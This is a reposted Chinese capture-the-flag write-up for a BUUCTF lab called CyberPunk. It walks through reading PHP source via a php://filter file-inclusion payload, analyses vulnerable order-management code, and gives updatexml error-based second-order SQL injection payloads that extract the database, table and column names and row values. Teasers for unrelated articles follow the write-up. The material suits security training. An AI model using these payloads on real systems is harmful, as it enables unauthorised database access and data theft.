渗透之sql注入实战2(二次注入)

目录

平台地址:

开始:

方法1:

方法二

找提示

这里存在一个文件包含(file)。

爆源码

index.php源码

confirm.php源码:

search.php源码:

change.php源码:

delete.php源码:

开始注入

第一步:

第二步:

第三步:

注入数据库名:

注入表名:

注入列名:

注入具体值:

平台地址:

本次实战使用的在线平台为:BUUCTF在线评测 

搜索CyberPunk,点击左边这个靶机。

进入后就到了进行实战的页面:

开始:

通过观察可以发现,该站点存在4个页面:

index.php        search.php        change.php        delete.php

对于这个网站我们有两种思路:

方法1:


1:使用dirmap工具扫描,看它的根目录下有没有什么东西可以直接下载或者说有什么泄露。比如.get这样的文件泄露,我们可以通过.get将它的源码恢复出来。

目前看来:dirmap没有扫描出任何东西。行不通。

方法二

2:看源码,在源码中可能会有一些提示。

找提示

右键—>查看页面源代码

往下翻可以看到存在一个 file参数。我们可以利用file这个参数进行操作。

这里存在一个文件包含(file)。

爆源码

我们目前已经知道当前的web页面index.php可以传递一个参数file。

  •  我们可以使用 :filter  ,将源码以base64的编码行式传递出来,我们之后只需要将它解码就可以获取php页面的源代码了。

可以使用在线工具解码:Base64 在线编码解码 | Base64 加密解密 - Base64.us

index.php源码

在url中输入:
?file=php://filter/read=convert.base64-encode/resource=index.php

解码:

<?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {echo('no way!');exit;}@include($file);
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" /><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><h2>2077发售了,不来份实体典藏版吗?</h2><img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO--><div class="row"><div class="col-md-8 col-md-offset-2 centered"><h3>提交订单</h3><form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"><h3>地址:</h3><input type="text" class="subscribe-input" name="address"></p><button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button></form></div></div></div>
</div><div id="f"><div class="container"><div class="row"><h2 class="mb">订单管理</h2><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

在index.php中没有什么有用的信息。

confirm.php源码:

index.php将数据提交后交给了confirm.php这个文件来处理。

<?phprequire_once "config.php";
//var_dump($_POST);if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = $_POST["address"];$phone = $_POST["phone"];//这里对于输入的参数只过滤了两个,address这个参数没有进行过滤if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if($fetch->num_rows>0) {$msg = $user_name."已提交订单";}else{$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";$re = $db->prepare($sql);$re->bind_param("sss", $user_name, $address, $phone);$re = $re->execute();if(!$re) {echo 'error';print_r($db->error);exit;}$msg = "订单提交成功";}
} else {$msg = "信息不全";
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><img class="logo" src="./assets/img/logo-zh.png"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?><a href="./index.php"><button class='btn btn-lg  btn-sub btn-white'>返回</button></a></div></div></div>
</div><div id="f"><div class="container"><div class="row"><p style="margin:35px 0;"><br></p><h2 class="mb">订单管理</h2><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

search.php源码:
<?phprequire_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];//这里有一个正则表达式,会对你输入的信息进行过滤,如果存在关键词则直接爆未找到信息。所以在这个页面中我们并不能进行任何操作。if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();if(!$row) {echo 'error';print_r($db->error);exit;}$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./"><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><p style="margin:35px 0;"><br></p><h1>订单查询</h1><form method="post"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"></p><p><button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button></p></form><?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?></div></div></div>
</div><div id="f"><div class="container"><div class="row"><p style="margin:35px 0;"><br></p><h2 class="mb">订单管理</h2><a href="./index.php"><button class='btn btn-lg btn-register btn-sub btn-white'>返回</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a> <a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a>    </div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

分析:在search.php中对输入的三个参数都进行了过滤,所以在该页面不能进行任何操作。

change.php源码:
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];//在这里同样对我们的输入进行了过滤if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();//在我们将新的地址给旧的地址,但是旧的地址是我们从数据库中拿出来的,`old_address`='".$row['address']."'(旧地址在这)$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./"><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><p style="margin:35px 0;"><br></p><h1>修改收货地址</h1><form method="post"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"><h3>地址:</h3><input type="text" class="subscribe-input" name="address"></p><p><button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button></p></form><?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?></div></div></div>
</div><div id="f"><div class="container"><div class="row"><p style="margin:35px 0;"><br></p><h2 class="mb">订单管理</h2><a href="./index.php"><button class='btn btn-lg btn-register btn-sub btn-white'>返回</button></a><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        //在我们将新的地址给旧的地址,但是旧的地址是我们从数据库中拿出来的,`old_address`='".$row['address']."'(旧地址在这)
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }

  • .$address.是我们输入的新地址(它将新地址赋予它),.$row['address'].是我们的旧地址。这个旧地址是从数据库中直接拿出来的,放在这里,没有进行过滤。
delete.php源码:
<?phprequire_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单删除成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" /><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><p style="margin:35px 0;"><br></p><h1>删除订单</h1><form method="post"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"></p><p><button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button></p></form><?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?></div></div></div>
</div>
<div id="f"><div class="container"><div class="row"><h2 class="mb">订单管理</h2><a href="./index.php"><button class='btn btn-lg btn-register btn-sub btn-white'>返回</button></a><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

开始注入

进过上面我们的源码分析,注入点存在 change.php页面中。

具体代码:

    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

理由:在confirm.php提交后没有对地址进行过滤直接存入数据库中。在change.php页面中,修改时根据上面的代码可知会将旧地址从数据库中拿出来,并且没有进行过滤。从上面的代码可知,旧地址代码的闭合符为单引号。

并且在后面的代码中可以看到允许mysql报错。所以我们这里就可以思考使用报错注入进行二次注入。

第一步:

到提交页面的地址栏中写报错注入语句。之后点击提交。

第二步:

去修改页面上进行修改我们上一步写入的信息。点击提交。

提交之后就成功执行了我们之前的报错注入语句:将用户名注入出来了。

说明我们已经找到注入点,并且成功进行了注入。

第三步:

我们就使用报错注入完成接下来的注入。

注入数据库名:

使用下面语句重复上面的操作:

地址栏填写:

a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注入表名:

地址栏:a' and updatexml(1,concat(0x7e,(select  group_concat(table_name)  from information_schema.tables  where table_schema='ctfusers'    ),0x7e),1)#

注入列名:

地址栏:a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfusers' and table_name='user'  ),0x7e),1)#

注入具体值:

地址栏:sawdaw' and updatexml(1,concat(0x7e,(select concat(user_id) from user limit 0,1 ),0x7e),1)#

之后我们就成功的完成本次注入了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/8623.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【vue+el-upload】当action=“#“,代表不使用默认上传,使用自定义上传,http-request获取文件流

el-upload有多种上传行为&#xff1a; 1、立即上传&#xff1a; 当 action 属性被赋予一个有效的 URL 时&#xff0c;一旦用户选择了文件&#xff0c;el-upload 组件会立即自动将文件上传到指定的服务器地址。 2、不立即上传&#xff08;自定义触发&#xff09;&#xff1a; 如…

网贷大数据查询要怎么保证准确性?

相信现在不少人都听说过什么是网贷大数据&#xff0c;但还有很多人都会将它跟征信混为一谈&#xff0c;其实两者有本质上的区别&#xff0c;那网贷大数据查询要怎么保证准确性呢?本文将为大家总结几点&#xff0c;感兴趣的朋友不妨去看看。 想要保证网贷大数据查询的准确度&am…

【第13章】spring-mvc之validator

文章目录 前言一、准备1. 引入库2. add.jsp3. show.jsp 二、代码部分1.实体类2. 控制器类3. 效果4. 展示 总结 前言 【第20章】spring-validator 虽然前面已经在spring介绍过&#xff0c;但是为了保证代码可用&#xff0c;还是会从头讲到尾&#xff0c;尽量把关键点列出来讲给…

vue3实现电子签名的方法

vue3实现电子签名且对电子签名可进行修改画笔粗细、画笔颜色、撤销、清屏、保存等功能。 实现效果&#xff1a;查看源码 第一种&#xff1a;通过canvas <div class"signaturePad-Box w100 h100 flex-center"><el-space class"mb10" size"…

【大模型认识】警惕AI幻觉,利用插件+微调来增强GPT模型

文章目录 一. 大模型的局限1. 大模型不会计算2. 甚至明目张胆的欺骗 二. 使用插件和微调来增强GPT模型1. 模型的局限性2. 插件来增强大模型的能力3. 微调技术-提高特定任务的准确性 一. 大模型的局限 1. 大模型不会计算 LLM根据给定的输入提示词逐个预测下一个词&#xff08;…

【人工智能基础】RNN实验

一、RNN特性 权重共享 wordi weight bais 持久记忆单元 wordi weightword baisword hi weighth baish 二、公式化表达 ht f(ht - 1, xt) ht tanh(Whhht - 1 Wxhxt) yt Whyht 三、RNN网络正弦波波形预测 环境准备 import numpy as np import torch from tor…

OpenNJet产品体验-手把手在Ubuntu20.04系统从零部署到应用OpenNJet

目录 一、引言 二、OpenNJet产品安装 2.1下载OpenNJet安装包 2.2安装OpenNJet V2.0.1 ​2.3快速启动并测试OpenNJet 三、OpenNJet产品应用体验 3.1配置OpenNJet 3.2 部署 Web 应用程序 3.3启动 NJet 3.4访问 Web 应用程序 四、总结 一、引言 OpenNJet应用引擎是高性…

[iOS]从拾遗到Runtime(上)

[iOS]从拾遗到Runtime(上) 文章目录 [iOS]从拾遗到Runtime(上)写在前面名词介绍instance 实例对象class 类对象meta-class 元类对象为什么要有元类&#xff1f; runtimeMethod(objc_method)SEL(objc_selector)IMP 类缓存(objc_cache)Category(objc_category) 消息传递消息传递的…

大模型微调之 在亚马逊AWS上实战LlaMA案例(四)

大模型微调之 在亚马逊AWS上实战LlaMA案例&#xff08;四&#xff09; 在 Amazon SageMaker JumpStart 上微调 Llama 2 以生成文本 Meta 能够使用Amazon SageMaker JumpStart微调 Llama 2 模型。 Llama 2 系列大型语言模型 (LLM) 是预先训练和微调的生成文本模型的集合&#x…

C++string续

一.find_first_of与find 相同&#xff1a;都是从string里面找字符&#xff0c;传参格式一样(都可以从某个位置开始找) 不同&#xff1a;find_first_of只能找字符&#xff0c;find可以找字符串 find_first_of参数里面的string与char*是每个字符的集合&#xff0c;指找出string…

普通组件的注册-局部注册和全局注册

目录 一、局部注册和全局注册-概述 二、局部注册的使用示例 三、全局注册的使用示例 一、局部注册和全局注册-概述 组件注册有两种方式&#xff1a; 局部注册&#xff1a;只能在注册的组件内使用。使用方法&#xff1a;创建.vue文件&#xff0c;在使用的组件内导入并注册。…

QX-mini51单片机学习-----(3)流水灯

目录 1宏定义 2函数的定义 3延时函数 4标准库函数中的循环移位函数 5循环移位函数与左移和右移运算符的区别 6实例 7keil中DeBug的用法 1宏定义 是预处理语句不需要分号 #define uchar unsigned char//此时uchar代替unsigned char typedef是关键字 后面是接分号…

Java特性之设计模式【代理模式】

一、代理模式 概述 在代理模式&#xff08;Proxy Pattern&#xff09;中&#xff0c;一个类代表另一个类的功能。这种类型的设计模式属于结构型模式 在代理模式中&#xff0c;我们创建具有现有对象的对象&#xff0c;以便向外界提供功能接口 主要解决&#xff1a; 在直接访问…

项目管理-项目资源管理2/2

项目管理&#xff1a;每天进步一点点~ 活到老&#xff0c;学到老 ヾ(◍∇◍)&#xff89;&#xff9e; 何时学习都不晚&#xff0c;加油 资源管理&#xff1a;6个过程“硅谷火箭管控” ①规划资源管理&#xff1a; 写计划 ②估算活动资源&#xff1a;估算团队资源&…

PPP点对点协议

概述 Point-to-Point Protocol&#xff0c;点到点协议&#xff0c;工作于数据链路层&#xff0c;在链路层上传输网络层协议前验证链路的对端&#xff0c;主要用于在全双工的同异步链路上进行点到点的数据传输。 PPP主要是用来通过拨号或专线方式在两个网络节点之间建立连接、…

docker-本地私有仓库、harbor私有仓库部署与管理

一、本地私有仓库&#xff1a; 1、本地私有仓库简介&#xff1a; docker本地仓库&#xff0c;存放镜像&#xff0c;本地的机器上传和下载&#xff0c;pull/push。 使用私有仓库有许多优点&#xff1a; 节省网络带宽&#xff0c;针对于每个镜像不用每个人都去中央仓库上面去下…

SQL查询语句(三)范围查找关键字

在上一篇文章中&#xff0c;我们介绍了SQL语句中&#xff0c;逻辑关键字的作用&#xff0c;并举例演示了如何用逻辑关键字来组合WHERE子句。在文章的末尾我们提到了两个用于范围查找的关键字IN和BETWEEN。这两个关键字都可以与NOT关键字灵活组合&#xff0c;起到对字句结果取反…

Jmeter用jdbc实现对数据库的操作

我们在用Jmeter进行数据库的操作时需要用到配置组件“JDBC Connection Configuration”&#xff0c;通过配置相应的驱动能够让我们通过Jmeter实现对数据库的增删改查&#xff0c;这里我用的mysql数据库一起来看下是怎么实现的吧。 1.驱动包安装 在安装驱动之前我们要先查看当前…

【刷题篇】双指针(二)

文章目录 1、有效三角形的个数2、查找总价格为目标值的两个商品3、三数之和4、四数之和 1、有效三角形的个数 给定一个包含非负整数的数组 nums &#xff0c;返回其中可以组成三角形三条边的三元组个数。 class Solution { public:int triangleNumber(vector<int>& n…

MQTT服务搭建及python使用示例

1、MQTT协议 1.1、MQTT介绍 MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;是一种轻量级的、基于发布/订阅模式的通信协议&#xff0c;通常用于物联网设备之间的通讯。它具有低带宽、低功耗和开放性等特点&#xff0c;适合在网络带宽有限或者网络连接不稳定…